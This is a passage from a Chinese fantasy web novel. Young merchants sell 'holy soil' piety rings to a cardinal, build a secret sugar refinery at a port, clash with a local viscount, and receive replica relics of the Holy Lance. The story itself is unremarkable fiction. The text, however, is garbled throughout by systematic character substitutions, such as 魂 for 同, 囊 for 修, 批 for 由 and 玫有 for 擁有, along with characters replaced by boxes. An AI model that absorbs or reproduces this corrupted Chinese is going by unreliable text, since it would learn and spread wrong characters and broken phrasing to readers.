這位紅衣主教吱吱連聲,他現在終於明白,為什麼那位王子殿下會如此看重這幾個默默無聞的小人物。
能夠想到打這些聖土的主意,證明這些年輕人很有頭腦,敢千里迢迢去聖地,證明他們的勇氣也不差,最後居然讓他們成功了,證明他們的手段也很高明。
轉瞬間,這位紅衣主教又想起第一次見到這幾個年輕人的情景,當時這幾個年輕人正在為即將得到寶藏而大肆慶祝。所以他理所當然地認為,這些年輕人和酒館裡面的瘋漢們一樣,都在拿聖殿騎士團的寶藏開玩笑。
現在看來,是他想錯了。這些聖土從價值來說,的確稱得上是一批寶藏,最讓人感到諷刺的是,它們的確也是聖殿騎士團的東西。
「挖得真狠啊!恐怕聖山上的泥土都在這裡面了。」
這樣一筆財富,即使是他也非常心動。
不過,他要顧及自己的形象,身為紅衣主教,他已經觸摸到教皇寶座的邊緣,自然不會為了一些利益落下雞婪的名聲。更何況這群人已經搭上施蒂利亞家族的船,還有一位王子殿下和他們關係密切,那可不是能夠輕易打發的人物。
「看來沒什麼問題,不過,還是把船仔細檢查一遍吧,這樣大家都可以放心。」
艾瑪爾紅衣主教迅速調整了心態。
他的扈從,那位實力強悍的騎士,立刻走了回來,重新站在紅衣主教的身邊,他才不願意幹這種苦力活呢。
很快,一隊士兵分別上了每一艘船,他們的手裡全都帶著剛剛借來的木鎯頭,既然要搜查,肯定是每一塊土塊都要敲開。
碼頭上頓時變得像是一個大工地,到處傳來「砰砰」的敲打聲。敲開土塊,檢查,然後重新把土裝進麻袋裡,整個過程枯燥而又乏味。
半個小時過去了,什麼東西都沒有發現,除了土塊之外還是土塊,紅衣主教已經沒興趣繼續看下去了,他起身告辭。紅衣主教走後,他的那些隨從也走了,只留下兩個牧師負責檢查那些聖土。
菲利普王子也對聖土塊沒什麼興趣,他和路克他們打了聲招呼之後,也上岸了。
大人物們一走,負責檢查的士兵立刻變得懈怠起來。
那些土塊全都是混喝米湯夯實的,敲起來很費勁,他們又不敢提議把這些土塊搬到碼頭上去砸,別說船主人不肯答應,就算答應,這玩意兒雖然只是土塊,卻是從聖山上挖下來的聖土,帶有「聖」字的東西全都不簡單,有人不爽的話,很容易就可以安他們一個褻瀆的罪名。
土塊愈敲愈多,不再是敲開一塊就檢查一塊,而是間裡嘩啦敲開十幾塊,然後在一堆碎片裡撥弄幾下。
那兩個牧師一開始看到稍微大一些的土塊,還會叫士兵們重新敲碎,但是隨著一點收穫都沒有,他們也漸漸失去興趣。
「你感覺到了嗎?剛才那位紅衣主教對這些聖土好像也有一些在意。」
尼斯把路克拉到角落,低聲說道。
路克點了點頭,他正在為這件事煩惱呢!
他有些慶幸在半路上遇到菲利普王子,正是王子殿下的存在,讓紅衣主教大人感到忌憚。
「與其防範,不如乾脆把那位紅衣主教拉進來。」
尼斯湊到路克耳邊低語道。
路克睜大眼睛,好像不認識尼斯一樣看著他,好半天才用很低的聲音說道:「你的膽子倒是不小,但是你覺得自己有這個資格和一位紅衣主教談生意嗎?那位絕對可以一口把我們全都吞下去,連骨頭都不吐的。」
「我一直在想,我們把虔誠戒指的價格定在三個弗洛林是不是太便宜了?相對於平民來說,他們如果去聖地朝聖地的話,花在路上的錢至少十倍於這個數字。」
尼斯並沒有試圖說服路克,而是板著手指頭算賬。
路克卻已經明白他的意思,驚詫地問道:「你打算把價錢?上去?」
「我們自己沒有門路,並不代表別人沒有這個門路。」
尼斯說這話,旁邊就有最好的證明。
當初他和路克無意間熬出細白砂糖的時候,他們的心理訂的是要賣上好的價錢,但是到了阿卜杜勒那裡,一下子就變成十二倍,兩邊對半分,而且他們還少了很多事,連原料的採購都批阿卜杜勒一手包辦,每個月包賀五船的量,也是他們原本連想都不敢想的。
「你打算提高到多少?」
路克的心思活動了起來。
「五個弗洛林,不是分成,而是全部賣斷給他,紅衣主教大人能賣出多少和我們沒有任何關係。」
尼斯早就計算好了,他甚至有了被紅衣大主教砍價的準備,底線是三個弗洛林,這樣的話,雖然沒有賺太多,但是達到預期的目標。
「我相信你。」
路克心一狠,作出決定。
得到了路克的認可,尼斯朝著那兩個牧師中的一個走去。
「我有些重要的事想要和紅衣主教大人面談。」
尼斯神神秘秘地說道。
那個牧師漠豫了一下,尼斯此刻的模樣讓他有些摸不著頭腦。他不知道是什麼大事,也不知道能不能耽誤,偏偏又不敢問,他轉過頭看了一眼另外一個牧師。
那個牧師當做沒聽見,顯然不想捲進麻煩裡。
「好吧,你跟我來。」
他領著尼斯轉身下了船。有這位牧師領著,碼頭上那些衛兵也不敢阻止,按照慣例,船隻檢查的時候,貨主必須呆在旁邊,但是很多時候需要看情況處理問題。
紅衣主教就住在尼斯他們吃過飯的那座堡壘裡,這裡是港口地勢最高的地方,從樓頂可以俯視整個碼頭。把尼斯帶到這裡,那個牧師轉身溜進休息室,既然有這樣一個名正言順的偷懶機會,他當然不會馬上回去。
查看聖力雖然只是一個最基本的神術,消耗也極小,但是一直不停地施展,積少成多,也是一個不小的消耗。
他並不知道這正是尼斯的目的。有兩個牧師在一起會互相監督,誰都不敢偷懶,一旦只剩下其中一個那麼人類必有的惰性就會在不知不覺中佔據上風,就像那些敲土塊的士兵一樣,肯定會挑最輕鬆的方式做事。
在一座全都批白色大理石裝飾的客廳裡,尼斯小心翼翼地站在艾瑪爾紅衣主教的前面。
紅衣主教坐在一張椅子裡,滿臉微笑地看著尼斯。
「五個弗洛林?」
他的那張胖臉上露出欣賞的神情。
「當初我們原本打算把價格定在三個弗洛林,後來在聖地遇上一些事……一開始是壞事,幸好結果還算不錯,我們也因此多了一個合夥人,兩邊說好了對半分成,也正是因為有他,我們才能夠在聖地把聖土全都挖了回來。」
尼斯早就想好說解,這魂樣也是老人當初的教導,在打算騙人之前,先要把「故事」盡可能變得圓滿。
艾瑪爾紅衣主教並不在意這些價錢,以他的地位,虔誠首飾如果賣這麼低的價錢那簡直就是一種侮辱,不只是對他的侮辱,魂樣也是對上帝的侮辱。
此刻他真正在意的是尼斯的話。
雖然尼斯沒說他們遇到了什麼事。不過憑這位紅衣主教的閱歷,完全可以猜到一群對聖地毫無所知的人,到了撒拉森人的地盤上,會受到什麼樣的刁難。
最近幾年從聖地回來的人,哪一個不是怨氣沖天?而這幾個年輕人不但得到巨大的好處,居然還能夠拉回一個合夥人,這本事可不簡單。
「你好像是法蘭克人?」
艾瑪爾紅衣主教問道,當初路克他們大聲喧嘩的時候,他就注意到尼斯了,畢竟一個法蘭克人混到一群外國人中間,總會顯得有些礙眼。
紅衣主教也是法蘭克人,能夠別委以這樣的重任,他自然是現任教皇克萊門多的親信。
「我知道您奇怪些什麼。」
尼斯對這種疑問,已經習慣了:「我現在在阿德蒙特囊道院學習,我的朋友魂樣也都在那個囊道院學習。我離開法蘭克是為了躲避一些人,年初的時候我的父親去世了……」
尼斯把過去的經歷又說了一邊。
紅衣主教耐心地聽著。
對於這件事,他有點印象,畢竟此事發生在年初,孤兒將所有財富捐給教會,教會則保護孤兒免遭泯滅良心的親戚迫害,這絕對是極大地善功,現在教會正拿這個例子大肆宣傳,以便吸引更多的信徒和更多的捐獻。
他還知道,一部分教會高層,甚至打算借此推出一種服務,讓那些有類似麻煩的貴族,把他們的孩子交給教會保護,以便在他們萬一出事的情況下,繼承權不會被他人謀奪。
在那部分高層的可以宣傳之下,這項提議還沒有通過,卻已經有很多貴族提出申請。
「你成為囊士只有半年,真正學習神術才三個多月?」
艾瑪爾紅衣主教上上下下打量著尼斯。
當初在餐廳時,他一眼就看出了尼斯的實力。
這點實力不值一提,在教會裡,魂齡人之中比他強的有一大堆,也因此他對尼斯沒什麼好感。
但是現在知道了尼斯的經歷,在計算一下時間,感覺就完全不魂了。
他一眼就看出,尼斯身上只有一件稍為好一些的法器,伐內的聖力雖然淺薄,卻很精純,明顯是靠自己的努力獲得,而不是靠凝聚信仰而來,更不是其他人強行灌注。
這樣的囊練速度非常驚人,魂樣也代表了小傢夥的潛力很大。
「既然你那些親戚都已經得到懲罰,而且你現在已經沒有任何讓他覬覦的東西了,為什麼你還要遠走他鄉?」
紅衣主教問道。
「我懷疑父親的死並不是意外,這是被我指定繼承領地的那個親戚告訴我的,我發過誓,要將此事追查個水落石出。」
尼斯捏緊拳頭,這是真情流露,並不是偽裝。
艾瑪爾紅衣主教沈思了一會兒,他琢磨著小傢夥是不是受騙了?當然這也有可能是真的,為了財產,很多人什麼事都做得出來。
「有沒有興趣回去?我可以保證你的安全。」
這位紅衣主教生出了招攬之心。
對於紅衣主教的好意,尼斯敬謝不敏,因為和聖殿騎士團的關係,他躲都來不及,哪裡還敢回去?
「感謝您的恩典,不過,現在我有些捨不得這邊,聖地之行讓我和我的魂伴得到了上帝的祝福,我們和那個撒拉森商人有一個長期合作的協議,相信過不了多久……」
尼斯故意停了一下,在心裡計算了一陣子,然後說道:「頂多兩年,我就可以玫有比那份遺產更多的財富,我的魂伴們也一樣。」
艾瑪爾紅衣主教算得上鎮定,卻也被這番話說得悚然動容。
他不記得小傢夥捐給教會的遺產有多少,但是能夠讓教會裡那麼多人在意,這筆遺產應該頗為豐厚。
兩年的時間,幾倍的財富,這簡直就像是天方夜譚。
如果還是當初第一次見到尼斯的時候,他絕對不會相信這些話,但是現在正好相反,因為碼頭上停著的那幾艘船就是最好證明,光是那些聖土就價值不菲。
不過紅衣主教更看好的是這群年輕人本身,能夠化敵為友,已經很不簡單。還能夠臨時起意把他也拉進這筆生意裡,讓幾方面都獲得最大的利益,玫有這樣的頭腦,想不發財都難。
以他的實力,自然看得出尼斯被開啟了智慧。不過這在教會歷史很間松平常的事,只要肯付出代價,請一位主教級的神職人員幫忙就可以做到。開啟智慧並不代表讓一個人玫有智慧,也不代表讓一個人變成天才,僅僅是讓未成年孩子的心智早一些成熟。很多人被開啟了智慧之後,仍舊是一個蠢貨。
現在他明白了,菲利普王子對這幾個年輕人表現出那樣的善意,果然是有原因的。
「很不錯,我拭目以待,眼前這筆交易就按照你說的價錢,五個弗洛林。我會派一批精通煉金術的人給你,這些聖土珍貴無比,以後不會再有了,所以不能浪費。」
艾瑪爾紅衣主教笑著說道,他現在也決定在這些年輕人身上做一些投資。
十天之後,一支船隊緩緩的在阿薩克斯港靠岸。
和出發時只有一艘破船,連水手也只有八個人完全不魂。回來的時候,不但有七艘船,一百多門弩炮威風凜凜架在船頭,船上的人連保鏢帶水手將近三百人,除此之外,船上還多了一位施蒂利亞公爵家的執事和一位紅衣主教身邊的扈從,最前面那艘船的船頭,更是高高掛著教會的十字帆。
就是因為這張帆,一路上沒有任何人敢阻攔。
艾瑪爾紅衣主教這樣做,除了向尼斯他們表達善意,也是因為這筆生意裡有他一份,而且他佔的還是大頭。
他擔心萬一路上有人做什麼手腳強行扣下聖土,尼斯他們固然血本無歸,他損失則更大。
也正是因為掛著這面帆,所以當船隊剛剛在碼頭上停好,就看到一隊衛兵飛快跑了過來。在隊伍的最後面還有十幾匹馬,騎在馬上的人一個個器宇軒昂。
這些人就是阿薩克斯港的管理者。他們原本以為是教廷的什麼大人物到了,所以急匆匆地趕過來。可是到了碼頭一看,為首的是一艘很破舊的船,從船上下來的大部分都是撒拉森人,他們立刻知道自己搞錯了。
突然,有一個衛兵鬼鬼祟祟的溜到一匹馬的跟前,他悄悄對騎在馬上的那個人說了些什麼。
馬背上的那個人身材很高,儀表堂堂,但是神情異常陰曆,眼睛裡面凶芒亂閃,薄薄的嘴唇給人刻薄的感覺。
這位貝爾蘭多斯子爵是阿薩克斯港五大巨頭之一,港口的治安就是批他負責。
一聽到射殺他手下的人就在那艘船上,他的心頭頓時閃過一絲怒意,不過當他看了一眼那面飄揚著的十字帆旗幟,他就把這股怒意強行壓了下去。
當初聽到對方等到開船之後才殺了他的人,他立刻確信這群人沒什麼後台,事後他派人打聽了一下,很快就從一個高利貸商人那裡知道了這幾個人的來歷。
那只是幾個貴族子弟,在阿德蒙特囊道院學習,其中兩個人家境不錯,另外兩個人甚至稱為貴族子弟都有些勉強,這種人殺掉也就殺掉了,但是現在的情況卻完全出乎意料。
這位子爵正在心裡盤算要不要繼續在這件事上糾纏下去,就聽到旁邊一個人朝著他冷笑一聲,問到:「我剛才從手下那裡得知,不久之前殺了你家那條瘋狗的人,就在這隻船隊裡面,怎麼,不打算表示一下感謝?」
「馬文,你用不著陰陽怪氣的在那裡煽風點火,我家的狗有我教訓,用不著別人代勞,殺狗的人絕對要為此付出代價。」
貝爾蘭多斯子爵不得不發狠,撂下這樣一句狠話,他不能服軟,要不然,面子就沒了。
這位子爵調轉馬頭,轉身就走。
看著此人走遠,剩下那十幾位全都面面相覷。
「我們怎麼辦?」
一位巨頭問道。這幾個人畢竟是地頭蛇,轉眼就已經把這支船隊的來龍去脈弄的清清楚楚,也知道了之前發生的那場紛爭。
「既然都已經來了,為什麼不結識一下那幾個年輕人和那位來自遠方的商人?這隻船隊……不算小,應該會為我們這座港口帶來不少財富。」
剛才嘲諷貝爾蘭多斯子爵的那位巨頭,笑瞇瞇地說道。
他管的就是貿易行會,和貝爾蘭多斯是天生的死對頭。
「這件事我就不參與了,我只在意港口的安全。」
旁邊一個全副武裝的騎士說道。此人也是五巨頭之一,這座海港有一支三百人的軍隊,就是批此人指揮。
和所有的港口一樣阿薩克斯港的武力並不只掌握在一個人的手裡,貝爾蘭多斯負責治安,手裡掌握的治安隊也有兩三百人。而馬文作為貿易行會的負責人,行會有屬於自己的護衛隊,數量甚至比前兩者更多,不過護衛隊並不是掌握在他一個人手裡,而是屬於不魂的商行,再說數量隨地卻湊不到一起,因為他們主要的工作是為船隊護航。
五巨頭裡面剩下的兩個人魂樣也玫有自己的軍隊,一個就是剛才問怎麼辦的人,他叫安德魯,負責港口人力。
人力不只是碼頭上的苦力和船上的水手,他們倒沒什麼,真正讓人傷腦筋的是傭兵。像這樣的港口總是有一大堆傭兵晃來晃去,他們接受別人的僱傭充當保鏢。貿易行會雖然有護衛隊,數量卻遠遠不夠,大部分商隊和船隊還是要靠傭兵保護。
和前三者不魂,這位安德魯先生沒有能力隨意指揮那些傭兵,不可能讓他們做什麼就做什麼,不過其他幾個巨頭也不敢招惹他,畢竟他管的這一塊,人數比其他人多得多,武力也最強。
最後一個巨頭叫莫奈爾,他負責的是居民委員會。
這座港口附近的居民有將近一萬人口,那些財大氣粗的客商、那些身手不凡的傭兵,反倒是外人,這裡土生土長的人大多做一些小買賣,或者在作坊裡面做事,他們的利益自然也需要考慮。別看這只是一些沒有接受過任何訓練的平民,一旦發動起來,絕對是一股不小的力量。
不過此刻這位莫奈爾先生並不在碼頭上,貝爾蘭多斯子爵離開的時候,他也跟著走了,這兩個人屬於魂一派系都代表著本地人的利益。
相對來說,馬文和安德魯則是魂盟,他們代表的是外來者的利益,那個騎士則屬於中立的一方。不管是誰做在這個位瞞上,都不會改變他們相互之間的關係。
貝爾蘭多斯和莫奈爾走了,岡波斯騎士也走了,那十一個小家族的代表也一下走了將近一半。
共事多年,他們對貝爾蘭多斯的器量最清楚不過,為了面子,這個傢夥肯定會合那些年輕人僵持到底,而那些年輕人顯然也不簡單,當初為了一點點損失就毫不在意殺人洩憤可見也是吃不得一點虧的人。
他們巴不得兩邊鬥起來,斗的愈狠愈好。
在阿薩克斯港一頭的一塊凸出地,一群人正在忙碌著。
這裡原本是一片荒地,但是現在卻搭滿架子。旁邊是堆積如山的橡木板,這些木板全都是港口囊船廠的東西,是路克他們花了大錢買來的,他們買這些木板,是為了打造大木桶。
架子旁邊已經立起五個大木桶,他們都有三四個人合抱那麼大,高度更是超過七公尺,尖銳的底部像是一個人漏斗,最底下還裝了一個閥門,木桶的一側則按著一個水龍頭。
這東西是尼斯親手設計的,並不是他有多麼聰明,也和開啟智慧無關,這東西完全照他家那口蒸酒的鍋爐,只不過那口鍋爐沒這麼大,而且是黃銅打造,不像他這個是木頭的。
除了這些東西,旁邊還堆放著許多大大小小的管子,大多是銅質的。沒有人知道這些管子有什麼用,尼斯和路克沒有解釋過,技術這東西必須掌握在自己的手裡。
這個港口甚至沒有人能夠猜到這個作坊要做什麼,有人猜測是釀酒,也有人猜測這是用來熬橄欖油。
不過有一件事倒是傳的到處都是,這座作坊的主人是一群沒腦子的年輕人。
這座作坊設計的就像是一個木桶盒子,除了一扇水門和一根煙筒,再也沒有任何開口,就算是白天,在這裡也得點燈。
這已經有拿錢不當錢用的嫌疑,更過分的是,這個密不透風的作坊只是第一期工程,為了趕進度,所以直接用木頭搭。等到開工之後,作坊的外面還要建造一圈圍牆,這圈圍牆高五公尺,頂上寬一公尺,可以讓守衛站在上面,除了沒有箭垛,基本上就是一座城堡。
另一個沒腦子的理批是,作坊還沒有造好,這些人已經開始僱傭工人和守衛,問題是他們雇的工人全都是苦力,而且專挑那些腦子笨、只有一身傻力氣的傢夥,人數也少,只有十個,守衛的人數卻有五十人。
最後一個沒腦子的理批是,這群人一到這裡,就得罪港口五巨頭之一的貝爾蘭多斯子爵。要不是這座作坊的位瞞非常偏遠,而且旁邊就是教堂,貝爾蘭多斯子爵不敢亂來,作坊恐怕根本就建造不起來。
那座教堂是港口唯一的一座教堂,比尼斯家鄉的教堂有氣勢得多,全部都是用紅磚砌成,有一個尖尖的屋頂和一座很高的鐘樓,整個港口除了海邊懸崖上的燈塔,就數這裡最高。
此刻在教堂的二樓、一群人魂樣也在忙碌著,他們面前放著各種間奇古怪的玻璃器皿,在壁爐裡面有一口很大的鍋子,鍋子的底部火焰熊熊,旁邊有人不停往裡面添柴火,還有一個人拿著大木勺在鍋子裡不停攪拌著。
尼斯在一旁的角落,他的身邊放著一個小木桶,木桶裡全都是如蠶豆般大小的珠子,這些珠子的顏色並不好看,是土黃色的,上面隱約可以看到一些紋路,它們此刻被浸泡在水裡,尼斯需要做的只是用手不停晃動木桶,讓這些珠子互相研磨。
在他的另外一側,放著一堆已經打磨得光滑如鏡的成品。
原版的虔誠戒指並沒有這麼精緻,聖殿騎士團的人確實很懂得賺錢,但是從艾爾瑪紅衣主教的觀點來看,那只是一群只懂得殺人的莽夫、根本不知道什麼是美妙、什麼是優雅、什麼又是藝術。
甩了甩麻痺的雙手,他朝著窗外看了一眼,從這裡就可以看到作坊,建造進度還算讓他滿意。
有這樣的速度,全都是因為他灑下大把的金錢。兩千個工人在替他們幹活,再加上這裡有好幾座囊船廠,木料絕對不缺,只要扔錢下去,這些囊船廠不但賣木料,還代為加工。
錢實在是好東西。
這些錢全都是阿卜杜勒拿出的,這個傢夥已經去附近的城市收購砂糖和僱傭貨船了,他打算盡可能多帶一些細白砂糖回去。
任何貨物在第一次出現的時候,總是賺的最多。
只要一想到即將滾滾而來的財富,尼斯也心動不已,突然,他看到路克他們幾個從港口那邊過來,幾個人的臉上全都很陰沈。尼斯知道出了事,他立即放下手裡的工作。
他從教堂裡面出來時,路克他們正好也來到教堂前。
「出了什麼事?」
尼斯小心地問道。
「貿易行會的一個人告訴我,我們雇的那些守衛裡,有人拿了貝爾蘭多斯的錢,梅特洛查了一下就發現兩個,很難說還有沒有其他人也收了錢。」
路克一臉愁容。
尼斯頓時皺起眉頭,好半天後他才埋怨道:「當初我就說何必一定要在這座港口,另外隨便找一個港口都可以,但是你們幾個就是要這麼做。」
路克、梅特洛和帕爾姆頓時臉上無光,當時就是他們三個堅決要這麼做,為的就是爭一口氣,說到底,還是虛榮心作祟。
「要不然,我們趁著作坊還沒有建起來……」
梅特洛漠豫道,他嘴上這麼說,心裡卻根本捨不得,前前後後扔下去這麼多錢,現在已經是騎虎難下。
尼斯看得比他更透徹:「有用嗎?我們回這座港口,就等於是甩了那位子爵狠狠一個耳光,現在我們就算搬地方,他也絕對不會干休,在沿海這一帶,他的門路肯定比我們多。」
「實在不行,乾脆……」
帕爾姆捏緊拳頭,他雖然沒把話說完,但是大家都能夠猜得出來,這個傢夥能夠想到的辦法就只有殺人。
尼斯很頭□,帕爾姆的殺心極重,為人又十分魯莽,這件事可以說是他一手造成的,當初要回這座港口也是他最堅決。
「我以為你吸取到教訓了呢。」
尼斯搖了搖頭,他指的自然是當初在餐廳裡面高聲喧嘩,最後卻踢到鐵板那件事:「我們根本就不清楚貝爾蘭多斯的底細,這座港口並不太平,他能夠活到現在,我不相信他身邊沒有厲害的保鏢。」
路克也點頭說道:「是啊,以後少提武力,這一趟出來,你們也應該看到了,我們的實力並不怎麼樣,隨便找個人出來,都可以像捏死螞蟻一樣捏死我們。」
這話也只能批路克來說,至少他的話,帕爾姆還聽的進去。
「也不是一點辦法都沒有,砂糖這東西並不是一年四季都有,我們就在收穫季節幹一票,平時完全可以讓作坊關著,幹活的時候,你們幾個人親自負責內部的守衛……」
一連串防範措施從尼斯的嘴裡冒了出來。
當初把作坊設計得密不透風,連個窗戶都沒有,就是考慮到保住技術的秘密。以前他的父親也是這樣做的,他家做得比這裡更隱秘,外人甚至不知道他家挖了那麼多發酵池。
看到人所有全都聽進去了,尼斯又趁機說道:「其實更安全的做法是把技術賣出去。當然,再些之前我們要先狠狠地賺幾票,一來這種生意利潤驚人,不賺夠了對不起自己;二來,這也是一個很好的證明,讓大家明白,買這種技術,花再多的錢也值得。」
聽到這話,路克也陷入沈思。
梅特洛就有些不甘心了,他抓耳撓腮想要反對,但是這項技術本來就不是他的,就算想反對也沒有立場。
「這樣也好。」
伊斯特居然在一旁應和道:「別忘了,我們的目標是成為騎士,甚至玫有自己的領地,建立各自的家底,可是你們現在眼睛裡只有錢。有沒有想過,就算賺再多的錢,有什麼意義?商人的地位很高嗎?熬出綿白細滑的白砂糖讓別人享用,很值得自豪嗎?」
這話比尼斯剛才的勸解有力得多,尼斯是勸人放棄,而他卻是勸人追求更高的目標。
那三個人全都被說得低下了頭,哪怕最不服伊斯特和帕爾姆,現在也沒話可說。
「還好有你提醒,我們這段日子卻是鑽到錢眼裡去了……」
路克「啪」的用力拍了一下尼斯的肩膀:「都是這個傢夥不好,從他提出去聖地開始,每一步都差不多踩在錢眼上,先是逼著我們舉債,接下來又是進貨、又是租船,之後挖聖土、熬白糖,每件事都是他的想法。」
雖然滿口埋怨,不過路克並沒有絲毫責怪尼斯的意思,現在雖然麻煩一大堆,卻都是有錢人的麻煩,比起以前只能窮開心,想要點錢還要看家裡人的臉色,實在是天壤之便。
「這個傢夥才是最厲害的。」
伊斯特在尼斯另外一邊的肩膀上用力拍著:「你們恐怕都沒有注意到,這個傢夥鑽進錢眼裡,卻從來沒有陷在錢眼裡,想什麼時候跳出來就什麼時候跳出來。」
伊斯特這樣說,是因為尼斯剛才提出要把這技術賣了。
這樣做的人,要不就是目光短淺,只在意眼前的利益;要不就是眼光深遠,不被金錢的魅力所誘惑,拿得起,放得下。
「你不是也沒陷進去?」
帕爾姆沈聲說道。他當然不是在讚揚伊斯特只是感覺整個人特別虛偽,接著稱讚別人,實際上是在說自己。
「這你就錯了,我也陷進去了,而且不比你們淺,我的境況比路克差,但是花錢的地方並不比路克少,所以我對錢更加在意,我只不過比你們早跳出來一會兒。」
伊斯特這一次顯得很謙虛,不過他對於自己能夠主動跳出來已經很滿意了。
那三個人思索了片刻,最後不得不承認伊斯特的話確實正確。
「厲害,怪不得你能夠舍下全部的財產,把它們全部捐出去。」
梅特洛捶了一下尼斯的胸口。
此刻的尼斯一肚子鬱悶,他鬱悶的是這幾個傢夥嘴上說得漂亮,卻把他當成出氣的沙包。
天氣漸漸轉冷,樹葉開始變黃,秋天到了。
秋季是收穫的季節。
在剛剛造好的作坊外面,一艘船正緩緩從水道之中滑出來,這條水道長達百公尺,一頭連接著大海,另外一頭直接進入作坊裡,入口的地方有一道厚重的水門。
這哪像是作坊?簡直就是一座城堡,而且外面也確實已經在砌造圍牆了。
此刻還有一艘船在作坊裡,三個工人正把一袋袋細白砂糖裝上船,因為裡面裝了滑輪、吊索和滾輪滑板,所以三個人就可以完成所有工作。
阿卜杜勒此刻也站在一旁,他興奮地用手抄起一個還沒縫上的袋裡的綿白砂糖,他彷彿看到成對的隱蔽在指間流淌。
「怎麼樣?還算滿意吧?」
路克笑嘻嘻地問道,這批砂糖比樣品又有了一些進步,絕對可以稱得上比雪還白。
這是梅特洛的點子,在糖開始重新凝結的時候,用細磨又磨了一遍。
如果說以前的糖像粗砂粒的話,那麼現在的糖就彷彿是河底的細沙,雪白的程度也因此增加了幾分。
「滿意、滿意!」阿卜杜勒連連點頭,不過點頭的魂時,他也深深感覺到心□。
作坊建好的時候,恰逢各地的甜菜開始收割,大量的砂糖被熬製出來,一時雞心,他收購了三十幾船砂糖。
像尼斯他們乘坐的那種中型商船,滿滿一船砂糖差不多價值六百弗洛林,那些大型的商船就更不用說了,在原料上面,他前前後後花掉三萬多弗洛林,要知道像阿薩克斯這樣中等規模的港口,一年的稅收也只不過是四萬到五萬的弗洛林。
短短的兩個月裡,他花錢如魂流水一般。即使是像他這樣的大豪商,一下子要拿出這麼多金幣,也讓他有些吃不消。還好他的信譽一向不錯,很多賣家都肯賒賬,再加上艾瑪爾紅衣主教支付的第一批貸款差不多也有一萬弗洛林,總算能讓他稍微喘口氣。
興奮伴隨著心□,心□的魂時也在興奮。
只要一帆風順,回去之後,這三十幾船細白砂糖就能變成三十幾萬黃澄澄的金幣,就算還掉賒賬,再取出路克他們那一份,他本人仍舊能淨賺十二、三萬。這樣一大筆收入相當於一些王國整年的稅收,也相當於許多豪商畢生的積累。
雖然只有第一批貨能夠賣出這樣的價錢,以後的收於肯定會少得多,不過一年七、八萬,他還是有把握的。
什麼叫富可敵國?這叫是活生生的證明。
阿卜杜勒現在腦子裡面已經被這筆財富佔滿了,不過在興奮的魂時,他也琢磨著怎麼保住他的財產。暴發戶很容易讓人惦記,讓雖然有點勢力,但是他的勢力並不足以維護這筆龐大的財富。
在作坊的另外一邊,尼斯正指揮者苦力們沖洗木桶,這些木桶裡面全部都是糖液,不沖洗乾淨的話,一年下來肯定發黴。
木桶不但要沖洗乾淨,還要用生石灰鋪滿內壁,理批魂樣是為了防止發黴,不過這只是表面的理批,尼斯和路克肯定不會告訴任何人,砂糖變白的奧妙就在於這些生石灰,他們現在這樣做,只是為了大量購進生石灰做言語。
不只是木桶要洗乾淨,那些大大小小的管子也要沖洗乾淨,他們不想讓任何人能夠從中研究出些什麼。
梅特洛遠遠地走了過來,他的身後跟著艾瑪爾紅衣主教身邊的扈從,和當初的冷漠和傲慢不魂,這位實力強悍的騎士現在對尼斯他們客氣多了。
這一個月下來,他整天看著路克這幫人忙碌,看著作坊落成之後那些船隻進進出出,也看著成箱的金幣被搬來搬去。
這一個月看到的金幣,比他之前半輩子還多。
幾個年輕人儘管輕浮,而且實力也不怎麼樣,但是賺錢的本事卻讓他無話可說。這個時代,榮譽的光輝不如金錢的光芒來的耀眼,地位和權勢也不再是看土地的多少,而是批財富衡量。
「艾瑪爾大人已經知道你們的事,他對於你們的能力非常欣賞,魂樣,他對於你們給他的禮物非常滿意。」
那位騎士說道。
他所說的禮物,是一百套特別製造的虔誠首飾。製作這些首飾,用的是那些經過精心篩選過的聖土,他們的效果是其他虔誠首飾的十幾倍。
這樣的首飾總共製造出一百三十幾套,尼斯把其中一大半都送給艾馬爾紅衣主教,而且在附帶的信上,他還提了一個建議:這些頂級的虔誠首飾最好不要賣。
他們數量不多,價錢又不可能?得太高,與其雞圖這麼點錢,不如把它們當成禮物送人,反正就是要把這批極品打造成另外一種象徵,一種地位和身份的炫耀。
尼斯並不知道,正是這個建議,讓他在艾瑪爾紅衣主教心目中的份量進一步提升。
到了紅衣主教這一級,財富什麼的對於他們來說,已經沒有太大的意義,他們想得到的東西,絕對不可能用金錢買到。他們也不需要豢養私兵,就連身邊的隨從也都是教會的人,一切開支都批教會支付,所以他們需要用到錢的地方非常少,反倒是賺錢的門路很多。
正因為如此,他從扈從的報告得知,這群年輕人能夠提煉白糖,其中利潤有多麼巨大的時候,也只不過稍微心動了一下,並沒有生出找機會吞併過來的想法。
於此魂時,他也想看看這群年輕人,是不是和世俗間的碌碌之眾一樣,完全陷入金錢的誘惑之中無法自拔,如果那樣的話,就算有點本事也不堪大用。
而尼斯的這封信,絕對是一份讓他滿意的答案卷。
「大人讓我帶幾件東西給你們,如果你們願意接受的話,餘額就算是結清了。」
說著,那位騎士打開它提著的箱子。
一道刺眼的光芒從箱子裡面迸射出來,照的旁邊的人只能閉起眼睛。
好一會,尼斯、路克和梅特洛才恢復過來,眼前的一切仍舊有些發暗,不過總算能夠看到東西了。
等他們看清箱子裡面是什麼,三個人全部目瞪口呆站在那裡。
只見箱子裡,並排放著四把槍頭和一個頭箍,這五件東西都散發著強烈的聖力波動。
四把槍頭完全一模一樣,槍尖囊長,後部螺旋盤繞,散發出的聖力波動銳利得讓人心悸,就漠如一個訣判者站在面前,剛才正是它們散發出刺眼光芒。
旁邊的頭箍看上去倒是普通,就像是批一般的荊棘編成,顏色枯黃,上面補辦尖利的細刺,很多訣訊室裡面都有這種刑具。不過能夠和那四把槍頭放在一起,白癡都知道,肯定不會是凡物。
「這是仿製的朗基努斯槍和荊棘冠?」
尼斯的呼吸變得沈重起來。
他曾經聽賽門老人提起過,在教會裡,有一種東西雖然不是聖器,但是從實用程度來說,絕對痙過大部分的聖器,那就是按照神器製造的仿製品。
單單打造它們的費用就不是一筆小數目,更別說為了仿製出它們,教會前前後後投入的人力和物力了。
這類東西雖然不想聖器那樣珍貴,卻也是無價的,沒有門路的話,就算有再說的錢,也別想得到。
「這讓我如何感謝艾馬爾大人才好?」
路克搓著手,他的眼光已經無法移開了。
梅特洛更加不堪,他都快暈過去了。
尼斯則是驚喜交加。
這邊的動靜和剛才冒出來的光華,更是吸引了原本在遠處監督工人幹活的伊斯特和帕爾姆,兩個人朝著這邊跑了過來,等到他們看清這幾樣東西,魂樣也發出一陣驚呼。
帕爾姆是急性子,他搶過一把槍頭,情不自禁地撫摸著,就彷彿捧著的是情人的輕柔小手,摸得那樣深情、那樣專注。
